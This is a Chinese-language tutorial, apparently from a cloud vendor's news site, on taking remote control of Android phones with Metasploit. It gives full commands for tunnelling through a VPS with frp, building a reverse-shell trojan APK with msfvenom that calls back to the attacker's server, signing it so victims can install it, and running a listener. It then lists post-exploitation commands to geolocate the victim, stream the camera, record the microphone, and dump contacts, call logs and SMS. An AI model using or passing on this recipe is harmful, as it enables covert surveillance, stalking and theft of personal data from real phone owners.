您好,登錄后才能下訂單哦!
通過Metasploit怎么遠程控制Android設備,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
如下圖,可以看到有這幾種可以在Android下使用的payload:
如果我們的手機與攻擊者所使用的計算機處在同一局域網,受害者的手機可以直接訪問到攻擊者的電腦,也就不需要端口映射了。可是現實中,絕大多數情況是,受害者的手機位于外網或者與攻擊者處于不同的內網,而攻擊者的電腦處于令一個內網環境,此時,受害者的手機無法直接訪問到攻擊者的電腦,那么就需要進行端口映射了,即將攻擊者的端口映射到位于公網的vps上面去,這樣,受害者的手機通過訪問公網vps就可以間接的訪問處于內網的攻擊者的電腦。
更簡單的一個解決方法:既然都有vps了,為啥不直接用vps當攻擊機呢?可以直接在vps上面安裝metasploit,生成木馬并直接控制受害者的手機,這多簡單。但這里我們還是用端口映射的方法。
我們先用frp工具來實現端口映射,利用處在內網的攻擊機kali實現對處在外網的Android機器的入侵。
實驗環境:
目標Android設備
公網vps(centos)
內網攻擊機kali
主思路是:
公網vps運行frp server
本地kali運行frp client
將kali本地端口映射到公網vps
1. VPS 服務端:
將vps作為frp服務端,執行./frps -c ./frps.ini
,服務端的配置 frps.ini 如下:
[common] bind_port = 7000 # 這是默認的,改不改皆可
2. 客戶端:
將內網攻擊機kali作為frp客戶端,客戶端的配置 frps.ini 如下:
[common] server_addr = 39.xxx.xxx.210 # 這里是公網vps的ip server_port = 7000 # 這里的端口要跟服務端的一樣 [msf] type = tcp local_ip = 127.0.0.1 local_port = 4444 # 將到達frp服務器的數據轉發給本地的4444端口 remote_port = 2333 # 服務端的2333端口轉發給本地
客戶端通過vps的IP和7000監聽端口建立連接,把公網的2333端口數據傳遞給本地的4444端口。
配置完,執行./frpc -c ./frpc.ini
啟動客戶端:
到這里frp就配置完了,接下來就是要生成木馬了。
用Metasploit生成載有惡意Payload的Android的apk。在Kali Linux里面打開一個新的窗口輸入:
msfvenom -p android/meterpreter/reverse_tcp LHOST=39.xxx.xxx.210(vps公網ip) LPORT=2333(公網) R > shell.apk
我們已經成功創建了Android格式(APK)文件的有效載荷。但是,現在一般Android的移動設備不允許安裝沒有適當簽名證書的應用程序。 Android設備只安裝帶有簽署文件的APK。我們可以使用如下工具進行手動簽名:
Keytool JARsigner zipalign
這3個軟件,Kali中內置了前2個,第3個需要安裝(在新版kali中,JARsigner也需要自己安裝apt-get install openjdk-13-jdk-headless)
第一步:使用keytool生成一個key文件。會讓你輸入該key的名稱、單位、地址等等信息,最終生成一個key文件
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
上面問你的東西隨便填就行,但是要注意,最后不要輸入yes要輸y,不然會一直詢問。
如下圖,生成一個key文件:
第二步:使用該key文件配合JARsigner為APK簽名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore shell.apk alias_name
第三步:然后使用JARsigner驗證簽名
jarsigner -verify -verbose -certs shell.apk
到此為止,就完成了簽名過程,此shell.apk就可以在Android中使用了。
使用metasploit監聽本地接受數據的端口
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 exploit
然后將載有payload的APK發送到手機上安裝并啟動,此時,msf上面就可以得到手機的一個session了:
這里,有的手機得到的session一會兒自動斷開,不知道為什么,我自己想了個解決辦法是:剛一獲得session就馬上執行 webcam_stream 開啟遠程視頻,之后斷開視頻就可以了,session就穩定了,不會再斷開了,不知道為什么!
在我們獲取了目標Android手機的Meterpreter權限之后,我們可以執行如下命令進行后滲透攻擊
查看手機是否root過
check_root
控制目標手機發送短信
send_sms -d 某個手機號碼 -t "hello"
查看系統信息
sysinfo
對手機進行定位
wlan_geolocate // 使用WLAN信息獲取當前地理位置 geolocate // 利用地理定位(GPS)獲取當前LAT
此命令會輸出手機的經緯度,我們根據這個經緯度就可以知道手機的具體位置;還有一個網址,打開網址就會顯示手機在谷歌地圖中的位置。但是這個網址要科學上網,所以我們可以直接在谷歌地球上定位這個經緯度:
準確度沒得說了,精確到樓號。(以上經緯度為geolocate獲取)
調用手機攝像頭
webcam_list // 列出網絡攝像頭 webcam_snap 1/2 webcam_chat // 開始視頻聊天 webcam_snap // 從指定的攝像頭獲取快照 webcam_stream -i 1 // 從指定的網絡攝像頭播放視頻流
調用麥克風
record_mic -d x // 從默認麥克風錄制音頻為X秒
此命令默認錄制默認麥克風錄制1秒鐘的音頻,并將嘗試不帶精度的參數來播放捕獲的音頻wav文件。
獲取通訊記錄信息
dump_calllog // 下載目標手機上的通話記錄 dump_contacts // 獲取聯系人列表 dump_sms // 獲取短信
如上圖,將通訊記錄,聯系人列表和短信都保存到了攻擊者本地文件中了
來個比較有意思的。現在讓我遠程強制修改我手機的壁圖案。繼續輸入命令如下:
msf > use post/multi/manage/set_wallpaper msf post (set_wallpaper)>set WALLPAPER_FILE /root/5.jpg msf post (set_wallpaper)>set session 1 msf post (set_wallpaper)>exploit
5.jpg如下:
執行模塊并成功更換:
更多命令如下:
execute 執行一個命令 getuid 獲取當前運行的用戶 localtime 顯示目標系統的本地日期和時間 pgrep 按名稱篩選進程 ps 列出正在運行的進程 用戶界面命令 =============================== screenshare 實時監視遠程用戶的桌面 screenshot 抓取交互式桌面的屏幕截圖 音頻輸出命令 ============================= play 在目標系統上播放波形音頻文件(.wav) 應用程序控制器命令 =============================== app_install 請求安裝apk文件 app_list 列出設備中已安裝的應用程序 app_run 啟動包名稱的主活動 app_uninstall 請求卸載apk文件
看完上述內容,你們掌握通過Metasploit怎么遠程控制Android設備的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。